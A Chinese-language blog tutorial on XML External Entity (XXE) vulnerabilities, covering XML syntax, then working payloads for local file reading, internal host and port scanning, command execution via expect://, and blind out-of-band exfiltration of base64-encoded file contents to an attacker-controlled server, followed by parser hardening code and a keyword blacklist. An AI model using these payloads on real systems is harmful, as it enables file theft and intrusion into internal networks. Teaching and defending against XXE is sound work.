xxe漏洞的利用与防御

什么是xxe漏洞

XXE XML External Entity 即外部实体,从安全角度理解成 XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML 数据时,解析了攻击者伪造的外部实体而产生的。 XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。其实 XML 是一门语言,类似于html ,但是后来主要用 xml 的文档格式来传输数据,但是现在比较新的系统,大家之前传输数据用的是json 了。现在很多语言里面对应的解析 xml 的函数默认是禁止解析外部实体内容的 , 从而也就直接避免了这个漏洞。

什么是xml

可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。

xml的格式

1、必须有声明语句。

XML声明是XML文档的第一句,其格式如下:

<?xml version="1.0" encoding="utf-8"?>

2、注意大小写

在XML文档中,大小写是有区别的。“A”和“a”是不同的标记。注意在写元素时,前后标记的大小写要保持一致。最好养成一种习惯,或者全部大写,或者全部小写,或者大写第一个字母,这样可以减少因为大小写不匹配而产生的文档错误。

3、XML文档有且只有一个根元素

良好格式的XML文档必须有一个根元素,就是紧接着声明后面建立的第一个元素,其他元素都是这个根元素的子元素,根元素完全包括文档中其他所有的元素。根元素的起始标记要放在所有其他元素的起始标记之前;根元素的结束标记要放在所有其他元素的结束标记之后。

4、属性值使用引号

在HTML代码里面,属性值可以加引号,也可以不加。但是XML规定,所有属性值必须加引号(可以是单引号,也可以是双引号,建议使用双引号),否则将被视为错误。

5、所有的标记必须有相应的结束标记

在HTML中,标记可以不成对出现,而在XML中,所有标记必须成对出现,有一个开始标记,就必须有一个结束标记,否则将被视为错误。

6、所有的空标记也必须被关闭

空标记是指标记对之间没有内容的标记,比如“”等标记。在XML中,规定所有的标记必须有结束标记。

XML配置实例:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="osg.AndroidExample"
      android:installLocation="preferExternal"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdk android:targetSdkVersion="8" android:minSdkVersion="8"></uses-sdk>
    <uses-feature android:glEsVersion="0x00020000"/> <!-- OpenGL min requierements (2.0) -->
    <uses-permission android:name="android.permission.INTERNET"/>
 
    <application android:label="@string/app_name" android:icon="@drawable/osg">
        <activity android:name=".osgViewer"
                  android:label="@string/app_name" android:screenOrientation="landscape"> <!--  Force screen to landscape -->
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
 
    </application>
</manifest>

xml文件结构

XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

XXE实战

1.文件读取

读取c盘下1.TXT文件
payload 如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///C://1.txt">]>
    <core id ="test101">
		<x>&f;</x>------XML部分
	</core>

2.内网主机扫描

利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断

<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分
	<core id ="test101">
		<description>&xxe;</description>------XML部分
	</core>

3.端口探测

代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启

<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分
	<core id ="test101">
		<description>&xxe;</description>------XML部分
	</core>

4.远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令

<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
	<core id ="test101">
		<description>&xxe;</description>------XML部分
	</core>

5.无回显xxe

没有信息返回,可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容 以http 请求发送到接受数据的服务器 ( 攻击服务器 )xxx.xxx.xxx 。分如下两步a.建立 *.dtd ,比如我创建了一个 test.dtd 文件,内容如下,就放我我们上面目标主机的 xxe2 文件夹里面了。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?
p=%file;'>">
这两句代码的意思是通过base64编码的方式读取文件内容,然后通过请求目标主机的ip地址加上一个不存在
的路径或者参数数据,让它报错,%file就是用上面第一句获取到的数据
b.xml 调用
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
效果:保存信息里面就有我们要读取的文件数据

 

如果无报错的话,需要访问接收请求的服务器中的日志信息,可以看到经过 base64 编码过的数据,解码后便可以得到数据。

XXE漏洞修复与防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.提高版本

3.手动黑名单过滤(不推荐)
过滤关键词: <!DOCTYPE>  <!ENTITY SYSTEM、P UBLIC>
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值